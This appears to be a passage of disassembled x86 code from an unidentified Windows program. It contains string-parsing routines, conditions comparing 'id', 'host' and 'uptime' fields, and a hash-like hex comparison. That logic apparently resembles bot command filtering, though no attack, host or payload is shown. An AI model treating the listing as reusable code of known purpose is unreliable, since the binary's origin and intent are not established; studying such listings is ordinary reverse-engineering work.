db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412C20 proc near ; CODE XREF: sub_401FD7j
push esi
mov esi, ecx
xor al, al
mov [esi+16h], al
mov [esi+15h], al
mov eax, [esi+18h]
push eax
nop
call near ptr 71AB9639h
mov ecx, offset word_44AC6E
mov dword ptr [esi+18h], 0FFFFFFFFh
call sub_401541
pop esi
retn
sub_412C20 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412C60 proc near ; CODE XREF: sub_40172Bj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dl, [ecx]
xor ecx, ecx
mov [eax], dl
mov [eax+4], ecx
mov [eax+8], ecx
mov [eax+0Ch], ecx
retn 4
sub_412C60 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_412C90 proc near ; CODE XREF: sub_401B68j
push esi
mov esi, ecx
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_401717
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_401294
sub_412C90 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_412CE0 proc near ; CODE XREF: sub_401F1Ej
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_412CE0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 6
push 9
push 4Fh
push 3
push 9
push 7
push 0Fh
lea eax, [esp+48h+var_24]
push 0Ch
mov esi, ecx
push eax
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017EE
add esi, 4
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
sub_412CE0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_412D80: ; CODE XREF: ___:loc_40100Aj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43AC4E
push eax
mov large fs:0, esp
sub esp, 90h
add ecx, 4
push ebp
push esi
mov esi, [esp+0A8h]
lea ebp, [esi+7Eh]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4130A6
push ebx
push edi
push offset asc_444600 ; " "
lea eax, [esp+44h]
push 1
push eax
mov ecx, esi
call sub_4016B8
push offset asc_444600 ; " "
lea ecx, [esp+2Ch]
push 2
push ecx
mov ecx, esi
mov dword ptr [esp+0B4h], 0
call sub_4016B8
push offset asc_444600 ; " "
lea edx, [esp+14h]
push 3
push edx
mov ecx, esi
mov byte ptr [esp+0B4h], 1
call sub_4016B8
push offset asc_444600 ; " "
lea eax, [esp+74h]
push 0
push eax
mov ecx, esi
mov byte ptr [esp+0B4h], 2
call sub_4016B8
mov edi, eax
lea ecx, [esp+10h]
mov byte ptr [esp+0A8h], 3
call sub_4013E3
lea ecx, [esp+28h]
mov ebx, eax
call sub_4013E3
lea ecx, [esp+40h]
add ebx, eax
call sub_4013E3
mov ecx, edi
add ebx, eax
call sub_4013E3
lea ecx, [esp+70h]
lea edi, [ebx+eax+4]
mov byte ptr [esp+0A8h], 2
call sub_401226
lea ecx, [esp+58h]
push edi
push ecx
mov ecx, esi
call sub_401E47
push offset asc_444600 ; " "
lea edx, [esp+8Ch]
push 4
push edx
mov ecx, esi
mov byte ptr [esp+0B4h], 4
call sub_4016B8
lea ecx, [esp+70h]
push 1
mov bl, 5
push ecx
mov ecx, eax
mov [esp+0B0h], bl
call sub_401E47
push eax
mov ecx, ebp
mov byte ptr [esp+0ACh], 6
call sub_40202C
lea ecx, [esp+70h]
mov [esp+0A8h], bl
call sub_401226
mov byte ptr [esp+0A8h], 4
lea ecx, [esp+88h]
call sub_401226
lea edx, [esp+58h]
mov ecx, esi
push edx
call sub_40202C
push offset asc_444D24 ; "!="
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412F05
xor edi, edi
loc_412F05: ; CODE XREF: ___:00412F01j
push offset asc_444D20 ; "=="
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412F1C
mov edi, 1
loc_412F1C: ; CODE XREF: ___:00412F15j
push offset asc_444D1C ; ">"
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412F33
mov edi, 2
loc_412F33: ; CODE XREF: ___:00412F2Cj
push offset asc_444D18 ; "<"
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412F4A
mov edi, 3
loc_412F4A: ; CODE XREF: ___:00412F43j
push offset aId ; "id"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_412FA4
test edi, edi
jnz short loc_412F7A
lea ecx, [esp+10h]
call sub_4017EE
push eax
mov ecx, offset word_44956A
call sub_4012EE
test eax, eax
jz short loc_412FA4
jmp short loc_412F97
; ---------------------------------------------------------------------------
loc_412F7A: ; CODE XREF: ___:00412F5Ej
cmp edi, 1
jnz short loc_412FA4
lea ecx, [esp+10h]
call sub_4017EE
push eax
mov ecx, offset word_44956A
call sub_4012EE
test eax, eax
jnz short loc_412FA4
loc_412F97: ; CODE XREF: ___:00412F78j
push 0
push esi
mov ecx, offset byte_449287
call sub_401A41
loc_412FA4: ; CODE XREF: ___:00412F5Aj
; ___:00412F76j ...
push offset aHost ; "host"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_412FF7
test edi, edi
jnz short loc_412FD8
lea ecx, [esp+10h]
call sub_4017EE
push eax
mov ecx, offset byte_4D80AD
call sub_4013ED
test eax, eax
jnz loc_413059
jmp short loc_41304C
; ---------------------------------------------------------------------------
loc_412FD8: ; CODE XREF: ___:00412FB8j
cmp edi, 1
jnz short loc_413059
lea ecx, [esp+10h]
call sub_4017EE
push eax
mov ecx, offset byte_4D80AD
call sub_4013ED
test eax, eax
jz short loc_413059
jmp short loc_41304C
; ---------------------------------------------------------------------------
loc_412FF7: ; CODE XREF: ___:00412FB4j
push offset aUptime ; "uptime"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_413059
lea ecx, [esp+10h]
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ebx, eax
call sub_40165E
test edi, edi
jnz short loc_41302D
cmp eax, ebx
jz short loc_413059
jmp short loc_41304C
; ---------------------------------------------------------------------------
loc_41302D: ; CODE XREF: ___:00413025j
cmp edi, 1
jnz short loc_413038
cmp eax, ebx
jnz short loc_413059
jmp short loc_41304C
; ---------------------------------------------------------------------------
loc_413038: ; CODE XREF: ___:00413030j
cmp edi, 2
jnz short loc_413043
cmp eax, ebx
jle short loc_413059
jmp short loc_41304C
; ---------------------------------------------------------------------------
loc_413043: ; CODE XREF: ___:0041303Bj
cmp edi, 3
jnz short loc_413059
cmp eax, ebx
jge short loc_413059
loc_41304C: ; CODE XREF: ___:00412FD6j
; ___:00412FF5j ...
push 0
push esi
mov ecx, offset byte_449287
call sub_401A41
loc_413059: ; CODE XREF: ___:00412FD0j
; ___:00412FDBj ...
lea ecx, [esp+58h]
mov byte ptr [esp+0A8h], 2
call sub_401226
lea ecx, [esp+10h]
mov byte ptr [esp+0A8h], 1
call sub_401226
lea ecx, [esp+28h]
mov byte ptr [esp+0A8h], 0
call sub_401226
lea ecx, [esp+40h]
mov dword ptr [esp+0A8h], 0FFFFFFFFh
call sub_401226
pop edi
mov al, 1
pop ebx
jmp short loc_4130A8
; ---------------------------------------------------------------------------
loc_4130A6: ; CODE XREF: ___:00412DB9j
mov al, 1
loc_4130A8: ; CODE XREF: ___:004130A4j
mov ecx, [esp+98h]
pop esi
pop ebp
mov large fs:0, ecx
add esp, 9Ch
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4131B0 proc near ; CODE XREF: sub_40165Ej
nop
call near ptr 27E0C08h
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov ecx, edx
mov eax, 0C22E4507h
shr ecx, 6
imul ecx
mov eax, edx
add eax, ecx
sar eax, 10h
mov edx, eax
shr edx, 1Fh
add eax, edx
retn
sub_4131B0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4131F0 proc near ; CODE XREF: sub_402018j
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4131F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
push edi
mov [esp+20h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+20h+var_4], 0
call sub_401753
lea edi, [esi+60h]
lea eax, [esp+20h+var_12]
push eax
mov ecx, edi
mov byte ptr [esp+24h+var_4], 1
call sub_401F23
sub_4131F0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+0Fh]
lea ebx, [esi+6Ch]
push ecx
mov ecx, ebx
mov byte ptr [esp+20h], 2
call sub_401852
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+1Ch], 3
mov dword ptr [esi], offset off_43F044
call sub_401933
mov ecx, ebx
call sub_401C76
mov ecx, [esp+14h]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4132C0 proc near ; CODE XREF: sub_401D0Cj ___:00401E29j
push esi
mov esi, ecx
call sub_401CA3
sub_4132C0 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_4132D8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_4132D8: ; CODE XREF: ___:004132CDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4132F0 proc near ; CODE XREF: sub_401CA3j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4132F0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov [esp+1Ch+var_10], esi
mov dword ptr [esi], offset off_43F044
lea edi, [esi+60h]
mov [esp+1Ch+var_4], 3
mov ecx, edi
call sub_401933
lea ebx, [esi+6Ch]
mov ecx, ebx
call sub_401C76
mov ecx, ebx
mov byte ptr [esp+1Ch+var_4], 2
call sub_4014BF
sub_4132F0 endp
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+18h], 1
call sub_4011B8
; ---------------------------------------------------------------------------
lea ecx, [esi+32h]
mov byte ptr [esp+18h], 0
call sub_401023
lea ecx, [esi+4]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+10h]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4133B0 proc near ; CODE XREF: sub_401A05j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4133B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 14h
push 15h
push 0Fh
push 7
push 0Fh
lea eax, [esp+58h+var_3C]
push 0Ch
mov esi, ecx
push eax
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017EE
lea ecx, [esi+32h]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_4133B0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
lea edx, [esp+28h]
push 13h
push edx
call sub_4019C4
add esp, 14h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017EE
add esi, 4
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4134A0 proc near ; CODE XREF: sub_401CE4j
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
push 0FFFFFFFFh
push offset SEH_4134A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0
call sub_4017EE
test eax, eax
jz short loc_413547
lea ecx, [esp+18h+var_14]
call sub_402275
add esi, 6Ch
lea eax, [esp+18h+var_10]
push eax
mov ecx, esi
call sub_401901
mov ecx, [eax]
lea edx, [esp+18h+var_10]
mov [esp+18h+var_14], ecx
push edx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401339
test al, al
jz short loc_413547
loc_413508: ; CODE XREF: sub_4134A0+A5j
lea eax, [esp+18h+arg_0]
lea ecx, [esp+18h+var_14]
push eax
call sub_40135C
mov ecx, [eax]
add ecx, 19h
call sub_401B86
test eax, eax
lea ecx, [esp+18h+var_14]
jz short loc_41356C
call sub_40118B
lea ecx, [esp+18h+var_10]
push ecx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401339
test al, al
jnz short loc_413508
loc_413547: ; CODE XREF: sub_4134A0+2Ej
; sub_4134A0+66j
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
xor eax, eax
pop esi
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 18h
; ---------------------------------------------------------------------------
loc_41356C: ; CODE XREF: sub_4134A0+86j
call sub_40135C
mov esi, [eax]
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn 18h
sub_4134A0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4135E0 proc near ; CODE XREF: sub_402130j
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
push 0FFFFFFFFh
push offset SEH_4135E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push ebp
push esi
push edi
mov ebx, ecx
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0
call sub_4017EE
test eax, eax
jz loc_4136B3
lea ecx, [esp+28h+var_18]
call sub_401037
lea ebp, [ebx+60h]
lea eax, [esp+28h+var_14]
push eax
mov ecx, ebp
call sub_401992
mov ecx, [eax]
lea edx, [esp+28h+var_14]
mov [esp+28h+var_18], ecx
push edx
mov ecx, ebp
call sub_402257
push eax
lea ecx, [esp+2Ch+var_18]
call sub_401AEB
test al, al
jz short loc_4136B3
loc_41364F: ; CODE XREF: sub_4135E0+D1j
lea ecx, [esp+28h+var_18]
call sub_4011D1
mov edi, [eax]
sub esp, 18h
lea eax, [esp+40h+arg_0]
mov ecx, esp
mov [esp+40h+var_10], esp
push eax
call sub_4014D3
mov ecx, ebx
call sub_401CE4
mov esi, eax
test esi, esi
jz short loc_41367C
mov edi, [esi]
loc_41367C: ; CODE XREF: sub_4135E0+98j
lea ecx, [esp+28h+arg_0]
push ecx
mov ecx, edi
call sub_401B86
test eax, eax
jz short loc_4136DB
test esi, esi
jnz short loc_4136DB
lea ecx, [esp+28h+var_18]
call sub_4018C5
lea edx, [esp+28h+var_14]
mov ecx, ebp
push edx
call sub_402257
push eax
lea ecx, [esp+2Ch+var_18]
call sub_401AEB
test al, al
jnz short loc_41364F
loc_4136B3: ; CODE XREF: sub_4135E0+31j
; sub_4135E0+6Dj
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
xor eax, eax
loc_4136C6: ; CODE XREF: sub_4135E0+10Ej
mov ecx, [esp+28h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
loc_4136DB: ; CODE XREF: sub_4135E0+AAj
; sub_4135E0+AEj
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
mov eax, edi
jmp short loc_4136C6
sub_4135E0 endp
; ---------------------------------------------------------------------------
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_413740 proc near ; CODE XREF: sub_401F64j
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_413740
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
lea ecx, [esp+14h+arg_0]
mov [esp+14h+var_4], 1
call sub_4017EE
test eax, eax
jz short loc_4137E4
lea ecx, [esp+14h+var_14]
call sub_401E38
lea eax, [esp+14h+var_10]
lea ecx, [esp+14h+arg_18]
push eax
call sub_4012E9
mov ecx, [eax]
lea edx, [esp+14h+var_10]
mov [esp+14h+var_14], ecx
push edx
lea ecx, [esp+18h+arg_18]
call sub_401D9D
push eax
lea ecx, [esp+18h+var_14]
call sub_401D70
test al, al
jz short loc_4137E4
loc_4137A6: ; CODE XREF: sub_413740+A2j
lea eax, [esp+14h+arg_0]
lea ecx, [esp+14h+var_14]
push eax
call sub_401FC3
mov ecx, [eax]
call sub_401B86
test eax, eax
jz short loc_413816
lea ecx, [esp+14h+var_14]
call sub_4020C2
lea ecx, [esp+14h+var_10]
push ecx
lea ecx, [esp+18h+arg_18]
call sub_401D9D
push eax
lea ecx, [esp+18h+var_14]
call sub_401D70
test al, al
jnz short loc_4137A6
loc_4137E4: ; CODE XREF: sub_413740+2Bj
; sub_413740+64j
lea ecx, [esp+14h+arg_0]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
lea ecx, [esp+14h+arg_18]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401582
; ---------------------------------------------------------------------------
xor eax, eax
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 24h
; ---------------------------------------------------------------------------
loc_413816: ; CODE XREF: sub_413740+7Dj
push esi
lea ecx, [esp+18h+var_14]
call sub_401FC3
mov esi, [eax]
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 0
call sub_401226
lea ecx, [esp+18h+arg_18]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401582
sub_413740 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn 24h
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4138B0 proc near ; CODE XREF: sub_4011DBj
var_A4 = byte ptr -0A4h
var_8C = byte ptr -8Ch
var_74 = byte ptr -74h
var_64 = byte ptr -64h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4138B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 98h
push esi
xor esi, esi
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], esi
call sub_4017EE
test eax, eax
jz loc_4139E3
lea eax, [esp+0A8h+var_64]
push eax
call sub_401A69
add esp, 4
lea ecx, [esp+0A8h+var_A4]
call sub_40142E
push offset byte_448F40
lea ecx, [esp+0ACh+var_A4]
mov byte ptr [esp+0ACh+var_4], 1
call sub_4015E1
lea ecx, [esp+0A8h+arg_0]
call sub_4013E3
push eax
lea ecx, [esp+0ACh+arg_0]
call sub_4014DD
lea ecx, [esp+0ACh+var_64]
push eax
push ecx
call sub_401C26
lea edx, [esp+0B4h+var_64]
lea eax, [esp+0B4h+var_74]
push edx
push eax
call sub_402176
add esp, 14h
loc_41394B: ; CODE XREF: sub_4138B0+E8j
lea ecx, [esp+0A8h+var_8C]
call sub_40142E
xor ecx, ecx
lea edx, [esp+0A8h+var_8C]
mov cl, [esp+esi+0A8h+var_74]
mov byte ptr [esp+0A8h+var_4], 2
push ecx
push offset a2_2x ; "%2.2X"
push edx
call sub_40102D
add esp, 0Ch
lea eax, [esp+0A8h+var_8C]
lea ecx, [esp+0A8h+var_A4]
push eax
call sub_4016C7
lea ecx, [esp+0A8h+var_8C]
mov byte ptr [esp+0A8h+var_4], 1
call sub_401226
inc esi
cmp esi, 10h
jl short loc_41394B
mov edx, [esp+0A8h+arg_18]
lea ecx, [esp+0A8h+var_A4]
push ecx
lea ecx, [edx+15h]
call sub_401B86
test eax, eax
mov byte ptr [esp+0A8h+var_4], 0
lea ecx, [esp+0A8h+var_A4]
jnz short loc_4139DE
call sub_401226
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_4139FC
; ---------------------------------------------------------------------------
loc_4139DE: ; CODE XREF: sub_4138B0+10Cj
call sub_401226
loc_4139E3: ; CODE XREF: sub_4138B0+33j
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
loc_4139FC: ; CODE XREF: sub_4138B0+12Cj
mov ecx, [esp+0A8h+var_C]
pop esi
mov large fs:0, ecx
add esp, 0A4h
retn 1Ch
sub_4138B0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413A80 proc near ; CODE XREF: sub_40192Ej
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_413A80
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
sub esp, 18h
lea eax, [esp+30h+arg_18]
mov ecx, esp
mov [esp+30h+var_14], esp
push eax
mov [esp+34h+var_4], 1
call sub_4014D3
mov ecx, esi
call sub_402130
test eax, eax
jz short loc_413B2E
sub esp, 0Ch
add eax, 54h
mov ecx, esp
mov [esp+24h+var_14], esp
push eax
call sub_401726
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+40h]
mov ecx, esp
mov [esp+40h+var_14], esp
push edx
mov [esp+44h+var_8], 2
call sub_4014D3
mov ecx, esi
mov [esp+40h+var_8], 1
call sub_401F64
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_413B2E
lea ecx, [esp+40h+var_24]
mov byte ptr [esp+40h+var_2C], 0
call sub_401226
lea ecx, [esp+40h+var_C]
mov [esp+40h+var_2C], 0FFFFFFFFh
call sub_401226
mov al, 1
mov ecx, [esp+40h+var_34]
mov large fs:0, ecx
pop esi
add esp, 14h
retn 30h
; ---------------------------------------------------------------------------
loc_413B2E: ; CODE XREF: sub_413A80+3Fj
; sub_413A80+79j
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 0
call sub_401226
lea ecx, [esp+18h+arg_18]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
xor al, al
mov large fs:0, ecx
pop esi
add esp, 14h
retn 30h
sub_413A80 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_413BB0: ; CODE XREF: ___:00401393j
push 0FFFFFFFFh
push offset loc_43AE08
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+18h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401870
mov edx, [esp+30h]
sub esp, 18h
mov ecx, esp
mov [esp+4Ch], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401870
mov ecx, esi
mov dword ptr [esp+40h], 0FFFFFFFFh
call sub_40192E
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413C40 proc near ; CODE XREF: sub_401181j
var_3C = byte ptr -3Ch
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_4 = byte ptr 8
arg_18 = dword ptr 1Ch
arg_1C = dword ptr 20h
push 0FFFFFFFFh
push offset SEH_413C40
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
push ebx
push ebp
mov ebp, [esp+48h+arg_18]
xor ebx, ebx
cmp ebp, ebx
mov [esp+48h+var_4], ebx
jz loc_413D89
lea ecx, [esp+48h+arg_0]
call sub_4017EE
test eax, eax
jz loc_413D89
push esi
push edi
push offset asc_444C74 ; ":"
lea eax, [esp+54h+var_3C]
push ebx
push eax
lea ecx, [esp+5Ch+arg_0]
xor esi, esi
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov byte ptr [esp+54h+var_4], 1
call sub_4012EE
lea ecx, [esp+50h+var_3C]
mov edi, eax
mov byte ptr [esp+50h+var_4], bl
call sub_401226
cmp edi, ebx
jz loc_413D63
add ebp, 54h
loc_413CC0: ; CODE XREF: sub_413C40+11Dj
push 15h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov dword ptr [esp+4Ch+var_3C], eax
cmp eax, ebx
mov byte ptr [esp+4Ch], 2
jz short loc_413CE0
mov ecx, eax
call sub_401F4B
jmp short loc_413CE2
; ---------------------------------------------------------------------------
loc_413CE0: ; CODE XREF: sub_413C40+95j
xor eax, eax
loc_413CE2: ; CODE XREF: sub_413C40+9Ej
push offset asc_444C74 ; ":"
lea ecx, [esp+50h+var_20]
push esi
push ecx
lea ecx, [esp+58h+arg_4]
mov [esp+58h], bl
mov [esp+58h+arg_1C], eax
call sub_4016B8
mov ecx, [esp+4Ch+arg_1C]
push eax
mov byte ptr [esp+50h], 3
call sub_40202C
lea ecx, [esp+4Ch+var_20]
mov [esp+4Ch], bl
call sub_401226
lea edx, [esp+4Ch+arg_1C]
mov ecx, ebp
push edx
call sub_401488
; ---------------------------------------------------------------------------
inc esi
push offset asc_444C74 ; ":"
lea eax, [esp+54h+var_3C]
push esi
push eax
lea ecx, [esp+5Ch+arg_0]
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov byte ptr [esp+54h+var_4], 1
call sub_4012EE
lea ecx, [esp+50h+var_3C]
mov edi, eax
mov byte ptr [esp+50h+var_4], bl
call sub_401226
cmp edi, ebx
jnz loc_413CC0
loc_413D63: ; CODE XREF: sub_413C40+77j
lea ecx, [esp+50h+arg_0]
mov [esp+50h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
pop ebp
pop ebx
mov ecx, [esp+40h+var_C]
mov large fs:0, ecx
add esp, 40h
retn 1Ch
; ---------------------------------------------------------------------------
loc_413D89: ; CODE XREF: sub_413C40+26j
; sub_413C40+37j
lea ecx, [esp+48h+arg_0]
mov [esp+48h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+48h+var_C]
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 40h
retn 1Ch
sub_413C40 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413E10 proc near ; CODE XREF: sub_401F4Bj
push esi
mov esi, ecx
call sub_40142E
mov eax, esi
pop esi
retn
sub_413E10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_413E30: ; CODE XREF: ___:004010F0j
mov eax, [esp+8]
mov edx, [esp+4]
push esi
push eax
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+28h], esp
push edx
call sub_401870
mov ecx, esi
call sub_401181
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413E70 proc near ; CODE XREF: sub_4018ACj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_14 = byte ptr 18h
arg_18 = byte ptr 1Ch
arg_2C = byte ptr 30h
